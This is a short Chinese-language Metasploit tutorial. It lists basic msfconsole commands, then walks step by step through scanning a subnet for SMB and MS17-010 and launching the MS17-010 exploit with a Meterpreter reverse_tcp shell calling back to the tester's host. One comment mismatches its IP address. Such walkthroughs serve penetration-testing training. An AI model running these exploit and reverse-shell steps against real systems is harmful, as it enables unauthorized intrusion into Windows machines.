1.基础命令使用及其介绍
search 搜索命令
search cve 其中 excellent为可利用漏洞
use 使用命令
use exploit/windows/local/windscribe_windscribeservice_priv_esc
info 显示信息命令
check 检测命令
检测木匾是否选定渗透攻击存在相应的安全漏洞
set 设置命令
set RHOST + 目标ip 设置目标ip地址
set LHOST + 本机ip 设置本机ip地址
run 运行命令
back 返回命令
quit 退出命令
2.ms17-010案例演示
search ms17-010 查询ms17-010
use 2 使用第二条漏洞
show options 查看需要配置的参数
required 为yes 是必须要配置的参数
set RHOST 192.168.0.109 设置目标主机的IP地址为192.168.0.104
set payload windows/x64/meterpreter/reverse_tcp 设置payload
show options 继续查看需要配置的参数
set LHOST 192.168.0.104 由于是反向连接需要设置自己主机的IP地址
run 运行
运行smb模块探测主机445端口开放情况。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.236.129/24
set threads 16
run
使用smb_ms17_010模块探测MS17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
show options
set threads 16
services -r tcp -p 445 -R
run
注:如果更新完msf出现才下问题
root@kaliew:~# msfconsole
[*] Bundler failed to load and returned this error:
'cannot load such file -- bundler/setup'
[*] You may need to uninstall or upgrade bundler
解决方法:
apt-get install metasploit-framework
gem install bundler